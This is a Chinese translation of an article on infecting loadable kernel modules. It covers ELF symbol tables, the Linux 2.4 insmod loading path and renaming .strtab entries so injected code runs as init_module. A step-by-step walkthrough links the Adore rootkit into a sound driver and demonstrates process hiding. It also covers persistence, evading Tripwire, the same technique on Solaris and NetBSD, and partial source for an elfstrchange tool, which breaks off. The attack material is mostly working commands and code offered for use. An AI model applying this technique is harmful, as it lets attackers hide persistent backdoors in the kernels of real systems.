Infecting loadable kernel modules 中文版

truff truff@projet7.org
wzhou z-l-dragon@hotmail.com

介绍

近一些年来，我看过很多利用可载入内核模块(Loadable Kernel Modele，LKM)技术的rootkit[1]。这是一种时尚吗？并不全是，由于LKM的强大功能才会使它被广泛应用。用它你可以隐藏文件，进程或做其他有趣的事。第一个LKM的rootkit可能比较容易被检测出来，因为用lsmod[2]命令就可以看到它在哪儿。我们见过很多隐藏LKM的技术，象在Plaguez的论文【参考资料 1】中用到的和在Adore Rootkit【参考资料 2】中用到的更多这类技巧。一些年后，我们又看到了另外的基于利用/dev/kmem来修改内核内存映像技术【参考资料 3】。最后，一种对内核文件打补丁的技术展现在我们面前【参考资料 4】。这解决了一个重要的问题：在系统重启后，rootkit能被再次载入。

本文的目的是介绍一种新的技术，以用于隐藏 LKM 并确定让 LKM 在系统启动后再次载入。我们将看到通过感染系统用到的内核模块来怎样实现这个功能。我们将专注于 x86 架构的 2.4.x 系列的 Linux 内核，但该技术可以被应用到采用 ELF 格式的其他操作系统。为了理解该技术，有些知识是需要的。内核模块（LKM）是 ELF 格式的对象文件，我们将学习 ELF 格式，但只专注于 ELF 对象文件中与符号命名相关的某些特定部分。其后，我们将学习内核载入 LKM 的机制，给我们一些能把代码感染给内核模块相关技术方面的知识。最后，我们将看到在现实中怎样把一个模块感染给另一个模块。

ELF 基础

可执行与连接格式（ELF）是 Linux 操作系统上用到的可执行文件格式。让我们来看一下该格式中我们感兴趣并有助于后面工作的部分（请看【参考资料 1】，其有对 ELF 格式的完整介绍）。当链接两个 ELF 对象文件时，链接器需要知道一些每个对象文件包含的引用到的符号的信息。每个 ELF 对象文件（比如象 LKM）有两个节（section），他们的角色就是存储描述每个符号、信息的结构。我们将研究它们，并抽取出对内核模块的感染有益的办法。

.symtab 节

该节的内容是下面所示结构的数组。该结构包含链接器需要的数据，以用于 ELF 对象文件中的符号。结构定义在/usr/include/elf.h 文件中。

```
/* Symbol table entry.  */
```

[1] Rootkit 指后门软件，在 Unix 系统下一般具有 root 权限。
[2] 列出当前系统中运行的 LKM。

```
typedef struct
{
  Elf32_Word    st_name;    /* Symbol name (string tbl index) */
  Elf32_Addr    st_value;   /* Symbol value */
  Elf32_Word    st_size;    /* Symbol size */
  unsigned char st_info;    /* Symbol type and binding */
  unsigned char st_other;   /* Symbol visibility */
  Elf32_Section st_shndx;   /* Section index */
} Elf32_Sym;
```

我们感兴趣的成员只有 st_name，它是.strtab 节的索引，指向该符号名存储的地方。

.strtab 节

.strtab 节是以零结尾字符串的表。就象我们上面看到的，ELF32_Sym 结构的 st_name 成员是.strtab 节中的索引。用下面的公式我们可以很容易的获得符号名的字符串在该表中的索引：

```
offset_sym_name = offset_strtab + st_name
```

offset_strtab 是.strtab 节在文件中的偏移。该值可以通过节名的解析机制获得，但由于此话题对我们当前讨论的主题没什么帮助，在这里我就不介绍了。该机制的完整介绍请见【参考资料 5】，在该文的 9.1 节有实现该机制的代码。

我们可以推断 ELF 对象中的符号名很容易被访问，那么也就是很容易被修改。但在修改时，有条规则必须被遵守。我们看到.strtab 节是一连串的以 null 结尾的字符串，这意味着对修改后的新的符号名有个限制：新符号名的长度必须少于或等于原有符号名的长度，否则就会覆盖.strtab 节中下一条符号名的字符串。

我们看到对符号名的简单修改导致内核模块正常执行的改变，并最终被另外一个模块所感染。

把玩可载入内核模块

接下来一节是向你展示动态载入内核模块的代码。脑子里有了这些概念，我们就能预见让我们把代码感染到内核模块中的技术。

模块载入[3]

内核模块由用户态命令 insmod 载入，该命令属于 modutils 包。我们感兴趣的部分位于 insmod.c 文件中的 init_module()函数。

[3] 本文分析的是 2.4 内核的 insmod 实现，现在的 2.6 内核对 insmod 的实现改变极大，可参考译者的一篇文章《2.6 内核 LKM 载入源码分析》

```
static int init_module(const char *m_name, struct obj_file *f,
       unsigned long m_size, const char *blob_name,
       unsigned int noload, unsigned int flag_load_map)
{
(1)     struct module *module;
       struct obj_section *sec;
       void *image;
       int ret = 0;
       tgt_long m_addr;

       ....

(2)     module->init = obj_symbol_final_value(f,
              obj_find_symbol(f, "init_module"));
(3)     module->cleanup = obj_symbol_final_value(f,
              obj_find_symbol(f, "cleanup_module"));

       ....

       if (ret == 0 && !noload) {
              fflush(stdout);       /* Flush any debugging output */
(4)            ret = sys_init_module(m_name, (struct module *) image);
              if (ret) {
                     error("init_module: %m");
                     lprintf(
     "Hint: insmod errors can be caused by incorrect module parameters, "
     "including invalid IO or IRQ parameters.\n"
     "You may find more information in syslog or the output from dmesg");
              }
       }
```

该函数中(1)处的结构用于包含载入模块必需的数据，该结构中我们感兴趣的是 init_module 和 cleanup_module 这两个函数指针域，分别指向模块被载入时要调用的 init_module() 和 cleanup_module()两个函数。在(2)处的 obj_find_symbol()函数通过遍历符号表，查找名为 init_module 的项来抽取出要的符号结构，该结构被传递给 obj_symbol_final_value()，该函数会从找到的结构中抽取出 init_module 函数的地址。在(3)处，对 cleanup_module()函数实施同样的操作。载入器需要记住指向对应 init_module 和 cleanup_module 的这两个函数，这两项函数名记录在.strtab 节中，在初始化和终结模块时要被调用。

当 struct module 被完全填充好以后，在(4)处 sys_init_module()系统调用被调用，以便内核载入该模块。

下面列出完成载入模块功能的 sys_init_module()系统调用中我们感兴趣的部分。该函数代码位于/usr/src/linux/kernel/module.c 文件中。

```
asmlinkage long
sys_init_module(const char *name_user, struct module *mod_user)
{
        struct module mod_tmp, *mod;
        char *name, *n_name, *name_tmp = NULL;
        long namelen, n_namelen, i, error;
        unsigned long mod_user_size;
        struct module_ref *dep;

        /* Lots of sanity checks */
        .....
        /* Ok, that's about all the sanity we can stomach; copy the rest.*/

(1)     if (copy_from_user((char *)mod+mod_user_size,
                           (char *)mod_user+mod_user_size,
                           mod->size-mod_user_size)) {
                error = -EFAULT;
                goto err3;
        }

        /* Other sanity checks */

        ....

        /* Initialize the module.  */
        atomic_set(&mod->uc.usecount,1);
        mod->flags |= MOD_INITIALIZING;
(2)     if (mod->init && (error = mod->init()) != 0) {
                atomic_set(&mod->uc.usecount,0);
                mod->flags &= ~MOD_INITIALIZING;
                if (error > 0)  /* Buggy module */
                        error = -EBUSY;
                goto err0;
        }
        atomic_dec(&mod->uc.usecount);
```

一些合法性检查之后，通过(1)处的 `copy_from_user()`把 `struct module` 从用户空间拷贝到内核空间。位于(2)处的当前被载入模块的 `init_module()`函数通过 `mod->init()`函数指针的方式被调用。这里的 `mod->init` 函数指针是在 `insmod` 命令里被填充的。

.strtab 的修改

我们在前面已经看到模块的初始化函数(init function)是通过在.strrab 节中查找“init_module”字符串来定位的。修改该字符串就可以让我们在载入模块时执行init_module()以外的函数。
有一些办法可以修改.strtab节中的字符串项。Ld的-wrap命令行选项可以这样做，但该选项与我们后面（在代码感染部分）需要的-r选项不兼容。我们将在ElfStrChange看到怎样用xxd来完成修改的工作。我写了一个工具（见ElfStrChange工具）来自动化这个工作。

下面是一个小例子：

```
$ cat test.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void)
{
  printk ("<1> Into init_module()\n");
  return 0;
}

int evil_module(void)
{
  printk ("<1> Into evil_module()\n");
  return 0;
}

int cleanup_module(void)
{
  printk ("<1> Into cleanup_module()\n");
  return 0;
}

$ cc -O2 -c test.c
```

让我们看一下.symtab 与.strtab 两个节。

```
$ objdump -t test.o

test.o:     file format elf32-i386
```

```
SYMBOL TABLE:
0000000000000000 l    df *ABS*  0000000000000000 test.c
0000000000000000 l    d  .text  0000000000000000
0000000000000000 l    d  .data  0000000000000000
0000000000000000 l    d  .bss   0000000000000000
0000000000000000 l    d  .modinfo  0000000000000000
0000000000000000 l     O .modinfo  0000000000000016 __module_kernel_version
0000000000000000 l    d  .rodata   0000000000000000
0000000000000000 l    d  .comment  0000000000000000
0000000000000000 g     F .text  0000000000000014 init_module
0000000000000000         *UND*  0000000000000000 printk
0000000000000014 g     F .text  0000000000000014 evil_module
0000000000000028 g     F .text  0000000000000014 cleanup_module
```

我们现在修改.strtab 节中的两个字符串项，把 evil_module 的符号名改为 init_module。首先我们需要重命名原来的 init_module，因为在同一个 ELF 对象中不允许有相同属性的两个符号有同样的名字。下面的操作用来改名：

rename

1) init_module ----> dumm_module
2) evil_module ----> init_module

```
$ ./elfstrchange test.o init_module dumm_module
[+] Symbol init_module located at 0x3dc
[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange test.o evil_module init_module
[+] Symbol evil_module located at 0x3ef
[+] .strtab entry overwriten with init_module

$ objdump -t test.o

test.o:    file format elf32-i386

SYMBOL TABLE:
0000000000000000 l    df *ABS*  0000000000000000 test.c
0000000000000000 l    d  .text  0000000000000000
0000000000000000 l    d  .data  0000000000000000
0000000000000000 l    d  .bss   0000000000000000
0000000000000000 l    d  .modinfo  0000000000000000
0000000000000000 l     O .modinfo  0000000000000016 __module_kernel_version
0000000000000000 l    d  .rodata   0000000000000000
0000000000000000 l    d  .comment  0000000000000000
0000000000000000 g     F .text  0000000000000014 dumm_module
```

```
0000000000000000        *UND*  0000000000000000 printk
0000000000000014 g    F .text  0000000000000014 init_module
0000000000000028 g    F .text  0000000000000014 cleanup_module


# insmod test.o
# tail -n 1 /var/log/kernel
May  4 22:46:55 accelerator kernel:  Into evil_module()
```

正像我们看到的，evil_module()函数代替 init_module()被调用了。

代码感染

前面的技术使得用一个函数来替换另一个函数的执行成为可能，但这还不是非常让人兴奋。最好是能把外部代码感染到模块内，而这用链接器 ld 很容易办到。

```
$ cat original.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void)
{
  printk ("<1> Into init_module()\n");
  return 0;
}

int cleanup_module(void)
{
  printk ("<1> Into cleanup_module()\n");
  return 0;
}

$ cat inject.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>


int inje_module (void)
```

```
{
  printk ("<1> Injected\n");
  return 0;
}

$ cc -O2 -c original.c
$ cc -O2 -c inject.c
```

关键部分开始了。由于内核模块是可重定位的ELF对象文件，所以代码感染并不是一个问题。这一类的对象文件（obj文件）可以被链接在一起，以共享符号并使它们成为整体。但有一个规则需要遵守：要链接在一起的模块间不能有相同的符号。We use ld with the -r option to make a partial link wich creates an object of the same nature as the objects wich are linked[4].这将生成一个能被内核载入的模块。

```
$ ld -r original.o inject.o -o evil.o
$ mv evil.o original.o
$ objdump -t original.o

original.o:    file format elf32-i386

SYMBOL TABLE:
0000000000000000 l    d  .text  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  .rodata   0000000000000000
0000000000000000 l    d  .modinfo  0000000000000000
0000000000000000 l    d  .data  0000000000000000
0000000000000000 l    d  .bss   0000000000000000
0000000000000000 l    d  .comment  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    df *ABS*  0000000000000000 original.c
0000000000000000 l     O .modinfo  0000000000000016 __module_kernel_version
0000000000000000 l    df *ABS*  0000000000000000 inject.c
0000000000000016 l     O .modinfo  0000000000000016 __module_kernel_version
0000000000000014 g     F .text  0000000000000014 cleanup_module
0000000000000000 g     F .text  0000000000000014 init_module
0000000000000000         *UND*  0000000000000000 printk
0000000000000028 g     F .text  0000000000000014 inje_module
```

inje_module()函数被链接入模块。现在我们将修改.strtab 节，使得 inje_module()取代 init_module()被调用。

[4] 对这句话，似懂非懂，不敢乱翻。如有指教，请用 mail 告知。先谢过。

```
$ ./elfstrchange original.o init_module dumm_module
[+] Symbol init_module located at 0x4a8
[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange original.o inje_module init_module
[+] Symbol inje_module located at 0x4bb
[+] .strtab entry overwriten with init_module
```

让我们执行看一下：

```
# insmod original.o
# tail -n 1 /var/log/kernel
May 14 20:37:02 accelerator kernel:  Injected
```

奇迹发生了☺

保持隐身

绝大部分情况下，我们感染被使用的模块。如果我们用另外的函数取代了 init_module()函数，该模块将不能达成原有目的（将不能正常工作）。然而，如果被感染模块不能正常工作，那它很容易被检测出来。这里有一个办法，能够允许感染模块而不改变它原有的正常行为。在黑掉.strtab 以后，原有的 init_module()函数被重命名为 dumm_module。如果在我们的 evil_module()函数中调用 dumm_module()，则原有的 init_module()函数在初始化时将被调用，模块也会保持正常行为。

```
              replace
   init_module  ------>  dumm_module
   inje_module  ------>  init_module (will call dumm_module)
```

```
$ cat stealth.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>



int inje_module (void)
{
  dumm_module ();
  printk ("<1> Injected\n");
  return 0;
```

```
}

$ cc -O2 -c stealth.c
$ ld -r original.o stealth.o -o evil.o
$ mv evil.o original.o
$ ./elfstrchange original.o init_module dumm_module
[+] Symbol init_module located at 0x4c9
[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange original.o inje_module init_module
[+] Symbol inje_module located at 0x4e8
[+] .strtab entry overwriten with init_module

# insmod original.o
# tail -n 2 /var/log/kernel
May 17 14:57:31 accelerator kernel:  Into init_module()
May 17 14:57:31 accelerator kernel:  Injected
```

简直完美，被感染代码在正常代码以后执行，修改成了“秘密行动”。

现实中的例子

把前面部分（讨论的）修改 init_module()的方法应用到 cleanup_module()函数是没有任何问题的。那么，我们可以计划把一个完整的内核模块感染到另一个中。我通过简单处理就把鼎鼎大名的 Adore【参考资料 2】rootkit 感染了我系统中的声卡驱动(i810_audio.o)中。

LKM 感染的 Howto

1) 我们不得不稍微修改一下 adore.c 源码文件
   - ✧ 在 init_module()函数中插入对 dumm_module()的调用
   - ✧ 在 cleanup_module()函数中插入对 dummcle_module()的调用
   - ✧ 把 init_module 函数名替换成 evil_module 函数名
   - ✧ 把 cleanup_module 函数名替换成 evclean_module 函数名

2) 运行 make 编译 adore

3) 用下面的命令把 adore.o 与 i810_audio.o 链接在一起

   ```
   ld –r i810_audio.o adore.o –o evil.o
   ```

   如果声卡驱动已经被载入，你必须先用下面的命令卸载：
   ```
   rmmod i810_audio
   ```

```
mv evil.o i810_audio.o
```

4) 修改.strtab 节

```
                replace
    init_module   ------> dumm_module
    evil_module   ------> init_module (will call dumm_module)

    cleanup_module ------> evclean_module
    evclean_module ------> cleanup_module (will call evclean_module)
```

```
$ ./elfstrchange i810_audio.o init_module dumm_module
[+] Symbol init_module located at 0xa2db
[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange i810_audio.o evil_module init_module
[+] Symbol evil_module located at 0xa4d1
[+] .strtab entry overwriten with init_module

$ ./elfstrchange i810_audio.o cleanup_module dummcle_module
[+] Symbol cleanup_module located at 0xa169
[+] .strtab entry overwriten with dummcle_module

$ ./elfstrchange i810_audio.o evclean_module cleanup_module
[+] Symbol evclean_module located at 0xa421
[+] .strtab entry overwriten with cleanup_module
```

5) 载入并测试

```
# insmod i810_audio
# ./ava
Usage: ./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)]

      h hide file
      u unhide file
      r execute as root
      R remove PID forever
      U uninstall adore
      i make PID invisible
      v make PID visible

# ps
  PID TTY          TIME CMD
 2004 pts/3    00:00:00 bash
 2083 pts/3    00:00:00 ps
```

```
# ./ava i 2004
Checking for adore  0.12 or higher ...
Adore 0.53 installed. Good luck.
Made PID 2004 invisible.

root@accelerator:/home/truff/adore# ps
  PID TTY          TIME CMD
#
```

干得漂亮☺ 为懒人我写了一段shell脚本来做上面的部分工作，见文后Lkminject。

我还活着（重启以后）

当载入模块时，我们有一正一反的两个选项：

- ✧ 用被感染的文件来替换位于/lib/modules/目录下的原始模块。这可以确保在系统重新启动后我们的后门代码能被载入运行。但如果那么做，我们的后门模块能被象 Tripwire【参考资料 7】这类 HIDS(Host Intrusion Detection System，主机入侵检测系统)检测到。但内核模块既不是可执行文件，也不是 suid 文件，除非 HIDS 被配置成 paranoid，否则它检测不到。
- ✧ 不要改变/lib/modules 目录下的原始内核模块并删除我们被感染的模块。当系统重启时，我们的模块将被删除，但它不能被监控文件改变的 HIDS 检测到。

本技术在另外系统上的应用

Solaris 系统

我用来自【参考资料 8】中的一个基本内核模块来举例。Solaris 内核模块用到了 3 个基本函数：

- ◆ _init 函数将在模块初始化时被调用
- ◆ _fini 函数将在模块被卸载时被调用
- ◆ _info 函数在运行 modinfo 命令时用于打印出模块相关信息

```
$ uname –srp
SunOS 5.7 sparc

$ cat mod.c
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/modctl.h>
```

```
extern struct mod_ops mod_miscops;

static struct modlmisc modlmisc = {
       &mod_miscops,
       “Real Loadable Kernel Module”,
};

static struct modlinkage modlinkage = {
       MODREV_1,
       (void *)&modlmisc,
       NULL
};

int _init(void)
{
       int I;
       if ((I = mod_install(&modlinkage)) != 0)
              cmn_err(CE_NOTE,”Could not install module\n”);
       else
              cmn_err(CE_NOTE,”mod: successfully installed”);
       return I;
}

int _info(struct modinfo *modinfop)
{
       return (mod_info(&modlinkage, modinfop));
}

int _fini(void)
{
       int I;
       if ((I = mod_remove(&modlinkage)) != 0)
              cmn_err(CE_NOTE,”Could not remove module\n”);
       else
              cmn_err(CE_NOTE,”mod: successfully removed”);
       return I;
}



$ gcc –m64 –D_KERNEL –DSRV4 –DSOL2 –c mod.c
$ ld –r –o mod mod.o
$ file mod
mod:          ELF 64-bit MSB relocatable SPARCV9 Version 1
```

正象我们在 Linux 中看到过的，我们想要感染的代码必须调用原来的真正的初始化函数，以便

被感染模块保持正常行为。然而，我们碰到一个问题：如果在链接操作以后，我们修改了.strtab节，动态载入器找不到_dumm()函数，而模块也不能够被载入。对这问题，我并没有调查许多，但我认为Solaris上的动态载入器并不会查找模块自身的未定义符号。当然这个问题很容易解决，我们只要在链接操作以前把原来的.strtab中的_init项改成_dumm即可。

```
$ readelf -S mod
There are 10 section headers, starting at offset 0x940:

Section Headers:
  [Nr] Name              Type            Address          Offset
       Size              EntSize         Flags  Link  Info  Align
  [ 0]                   NULL            0000000000000000  00000000
       0000000000000000  0000000000000000          0     0     0
  [ 1] .text             PROGBITS        0000000000000000  00000040
       0000000000000188  0000000000000000  AX       0     0     4
  [ 2] .rodata           PROGBITS        0000000000000000  000001c8
       000000000000009b  0000000000000000   A       0     0     8
  [ 3] .data             PROGBITS        0000000000000000  00000268
       0000000000000050  0000000000000000  WA       0     0     8
  [ 4] .symtab           SYMTAB          0000000000000000  000002b8
       0000000000000210  0000000000000018          5     e     8
  [ 5] .strtab           STRTAB          0000000000000000  000004c8
       0000000000000065  0000000000000000          0     0     1
  [ 6] .comment          PROGBITS        0000000000000000  0000052d
       0000000000000035  0000000000000000          0     0     1
  [ 7] .shstrtab         STRTAB          0000000000000000  00000562
       000000000000004e  0000000000000000          0     0     1
  [ 8] .rela.text        RELA            0000000000000000  000005b0
       0000000000000348  0000000000000018          4     1     8
  [ 9] .rela.data        RELA            0000000000000000  000008f8
       0000000000000048  0000000000000018          4     3     8
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)
```

.strtab节位于文件的0x4c8偏移，大小为64个字节。下面我们将用vi和xxd为十六进制编辑器。用命令vi mod来载入模块，然后用:%!xxd来把模块转换成十六进制数。你将看到象下面那样：

```
00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64  .........mod.mod
00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f  .c.modlinkage.mo
00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f  dlmisc.mod_misco
00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73  ps._info.mod_ins
0000500: 7461 6c6c 005f 696e 6974 006d 6f64 5f69  tall._init.mod_i
```

```
                        ^^^^^^^^^
```

我们修改 4 个字节，用_dumm 来代替_init。

```
00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64  .........mod.mod
00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f  .c.modlinkage.mo
00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f  dlmisc.mod_misco
00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73  ps._info.mod_ins
0000500: 7461 6c6c 005f 6475 6d6d 006d 6f64 5f69  tall._init.mod_i
                        ^^^^^^^^^
```

我们用:%!xxd –r 来把模块从十六进制形式回复过来，然后用:wq 存盘并退出 vi。接下来我们来检查一下替换是否成功。

```
$ objdump -t mod

mod:    file format elf64-sparc

SYMBOL TABLE:
0000000000000000 l    df *ABS*  0000000000000000 mod
0000000000000000 l    d  .text  0000000000000000
0000000000000000 l    d  .rodata       0000000000000000
0000000000000000 l    d  .data  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  .comment      0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    df *ABS*  0000000000000000 mod.c
0000000000000010 l     O .data  0000000000000040 modlinkage
0000000000000000 l     O .data  0000000000000010 modlmisc
0000000000000000       *UND*  0000000000000000 mod_miscops
00000000000000a4 g     F .text  0000000000000040 _info
0000000000000000       *UND*  0000000000000000 mod_install
0000000000000000 g     F .text  0000000000000188 _dumm
0000000000000000       *UND*  0000000000000000 mod_info
0000000000000000       *UND*  0000000000000000 mod_remove
00000000000000e4 g     F .text  0000000000000188 _fini
0000000000000000       *UND*  0000000000000000 cmn_err
```

_init 符号已经被_dumm 替换。现在我们可以直接感染一个函数名为_init 的函数而一点问题都没有。

```
$ cat evil.c
```

```
int _init(void)
{
       _dumm ();
       cmn_err(1,"evil: successfully installed");
       return 0;
}

$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c inject.c
$ ld -r -o inject inject.o
```

用 ld 来感染：

```
$ ld -r -o evil mod inject
```

载入模块：

```
# modload evil
# tail -f /var/adm/messages
Jul 15 10:58:33 luna unix: NOTICE: mod: successfully installed
Jul 15 10:58:33 luna unix: NOTICE: evil: successfully installed
```

同样的操作可以被用到_fini 函数身上，把整个模块感染另一个模块。

各种 BSD 系统

FreeBSD 系统

```
% uname -srm
FreeBSD 4.8-STABLE i386

% file /modules/daemon_saver.ko
daemon_saver.ko: ELF 32-bit LSB shared object, Intel 80386, version 1
(FreeBSD), not stripped
```

正如我们上面看到的，FreeBSD 的内核模块即是“shared object”，那样，我们就不能够利用 ld 把额外的代码链接入模块中。而且，FreeBSD 中载入内核模块的机制是完全不同于象在 Linux 或 Solaris 系统下用到的。你可以参考在/usr/src/sys/kern/kern_linker.c 中的代码。Init/cleanup 函数可以是任何名字。在模块初始化阶段，载入器在.data 节的某个结构中查找初始化函数的地址，这样“黑”.strtab 也就不能用了。

NetBSD 系统

```
$ file nvidia.o
nvidia.o: ELF 32-bit LSB relocatable, Intel 80386, version 1
```

```
(SYSV), not stripped
```

由于 NetBSD 内核模块是可重定位的 ELF 对象文件，所以我们能够把代码感染其中。当用 modload 命令载入内核模块时，modload 会把该模块与内核进行链接，执行该模块入口点的代码。

在链接完成以后，我们可以改变该入口点，但由于 modload 命令有一个特殊选项（-e），允许指定该模块入口点的符号，所以显得不是很必要。

这里有个例子，是我们要感染的模块：

```
$ cat gentil_lkm.c
#include <sys/cdefs.h>
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/lkm.h>

MOD_MISC("gentil");

int gentil_lkmentry(struct lkm_table *, int, int);
int gentil_lkmload(struct lkm_table *, int);
int gentil_lkmunload(struct lkm_table *, int);
int gentil_lkmstat(struct lkm_table *, int);

int gentil_lkmentry(struct lkm_table *lkmt, int cmd, int ver)
{
    DISPATCH(lkmt, cmd, ver, gentil_lkmload, gentil_lkmunload,
       gentil_lkmstat);
}

int gentil_lkmload(struct lkm_table *lkmt, int cmd)
{
    printf("gentil: Hello, world!\n");
    return (0);
}

int gentil_lkmunload(struct lkm_table *lkmt, int cmd)
{
    printf("gentil: Goodbye, world!\n");
    return (0);
}

int gentil_lkmstat(struct lkm_table *lkmt, int cmd)
{
    printf("gentil: How you doin', world?\n");
```

```
    return (0);
}
```

下面是将要被感染的代码：

```
$ cat evil_lkm.c
#include <sys/cdefs.h>
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/lkm.h>

int gentil_lkmentry(struct lkm_table *, int, int);

int
inject_entry(struct lkm_table *lkmt, int cmd, int ver)
{
    switch(cmd) {
    case LKM_E_LOAD:
        printf("evil: in place\n");
        break;
    case LKM_E_UNLOAD:
        printf("evil: i'll be back!\n");
        break;
    case LKM_E_STAT:
        printf("evil: report in progress\n");
        break;
    default:
        printf("edit: unknown command\n");
        break;
    }

    return gentil_lkmentry(lkmt, cmd, ver);
}
```

编译上面的 `gentil` 和 `evil` 以后，我们可以把它们链接到一块儿：

```
$ ld -r -o evil.o gentil.o inject.o
$ mv evil.o gentil.o

# modload -e evil_entry gentil.o
Module loaded as ID 2

# modstat
Type    Id   Offset Loadaddr Size Info    Rev Module Name
DEV      0  -1/108 d3ed3000 0004 d3ed3440   1 mmr
DEV      1  -1/180 d3fa6000 03e0 d4090100   1 nvidia
```

```
MISC     2      0 e45b9000 0004 e45b9254   1 gentil

# modunload -n gentil

# dmesg | tail
evil: in place
gentil: Hello, world!
evil: report in progress
gentil: How you doin', world?
evil: i'll be back!
gentil: Goodbye, world!
```

OK，一切都工作得很好☺

OpenBSD 系统

OpenBSD 在 x86 架构上并没有用到 ELF 格式，所以该技术也没有用武之地。我没有在采用 ELF 格式的其他 OpenBSD 平台上测试过，但我想该技术应该能类似于 NetBSD 下一样应用吧。如果你成功的在 OpenBSD 系统的 ELF 格式下应用该技术，那请告诉我。

结论

本文讨论了一些怎样在内核部分隐蔽地执行代码的技术。我介绍这种技术是源于该技术的可操作性方面很让人感兴趣。

让我们愉快地使用它吧！

感谢

我要感谢 mycroft，OUAH，aki 和 afrique，感谢他们的评阅和建议。也非常感谢 klem，是他教会了反向工程。
感谢 FXKennedy 在 NetBSD 系统上给我的帮助。
让我热吻你，Carla，为你的精彩表现。
最后，感谢所有来自#root 的伙计，`spud，hotfyre，funka，jaia，climax，redoktober...

参考资料

1. Weakening the Linux Kernel by Plaguez
   http://www.phrack.org/show.php?p=52&a=18

2. The Adore rootkit by stealth
   http://stealth.7350.org/rootkits/
3. Runtime kernel kmem patching by Silvio Cesare
   http://vx.netlux.org/lib/vsc07.html
4. Static Kernel Patching by jbtzhm
   http://www.phrack.org/show.php?p=60&a=8
5. Tool interface specification on ELF
   http://segfault.net/~scut/cpu/generic/TIS-ELF_v1.2.pdf
6. Modutils for 2.4.x kernels
   ftp://ftp.kernel.org/pub/linux/utils/kernel/modutils/v2.4
7. Tripwire
   http://www.tripwire.org
8. Solaris Loadable Kernel Modules by Plasmoid
   http://www.thc.org/papers/slkm-1.0.html

代码

ElfStrChange

```
/*
 * elfstrchange.c by truff <truff@projet7.org>
 * Change the value of a symbol name in the .strtab section
 *
 * Usage: elfstrchange elf_object sym_name sym_name_replaced
 *
 */

#include <stdlib.h>
#include <stdio.h>
#include <elf.h>

#define FATAL(X) { perror (X);exit (EXIT_FAILURE); }


int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
                   Elf32_Shdr *shstrtable, char *res, size_t len);

Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
                   Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);

Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
                   Elf32_Shdr *strtable, char *res, size_t len);
```

```
int main (int argc, char **argv)
{
  int i;
  int len = 0;
  char *string;
  FILE *fd;
  Elf32_Ehdr hdr;
  Elf32_Shdr symtab, strtab;
  Elf32_Sym sym;
  Elf32_Off symoffset;

  fd = fopen (argv[1], "r+");
  if (fd == NULL)
    FATAL ("fopen");

  if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1)
    FATAL ("Elf header corrupted");

  if (ElfGetSectionByName (fd, &hdr, ".symtab", &symtab) == -1)
  {
    fprintf (stderr, "Can't get .symtab section\n");
    exit (EXIT_FAILURE);
  }

  if (ElfGetSectionByName (fd, &hdr, ".strtab", &strtab) == -1)
  {
    fprintf (stderr, "Can't get .strtab section\n");
    exit (EXIT_FAILURE);
  }


  symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, argv[2], &sym);
  if (symoffset == -1)
  {
    fprintf (stderr, "Symbol %s not found\n", argv[2]);
    exit (EXIT_FAILURE);
  }


  printf ("[+] Symbol %s located at 0x%x\n", argv[2], symoffset);

  if (fseek (fd, symoffset, SEEK_SET) == -1)
```

```
    FATAL ("fseek");

  if (fwrite (argv[3], 1, strlen(argv[3]), fd) < strlen (argv[3]))
    FATAL ("fwrite");

  printf ("[+] .strtab entry overwriten with %s\n", argv[3]);

  fclose (fd);

  return EXIT_SUCCESS;
}

Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
          Elf32_Shdr *strtab, char *name, Elf32_Sym *sym)
{
  int i;
  char symname[255];
  Elf32_Off offset;

  for (i=0; i<(symtab->sh_size/symtab->sh_entsize); i++)
  {
    if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize),
              SEEK_SET) == -1)
      FATAL ("fseek");

    if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1)
      FATAL ("Symtab corrupted");

    memset (symname, 0, sizeof (symname));
    offset = ElfGetSymbolName (fd, sym->st_name,
                    strtab, symname, sizeof (symname));
    if (!strcmp (symname, name))
      return offset;
  }

  return -1;
}


int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index,
    Elf32_Shdr *shdr)
{
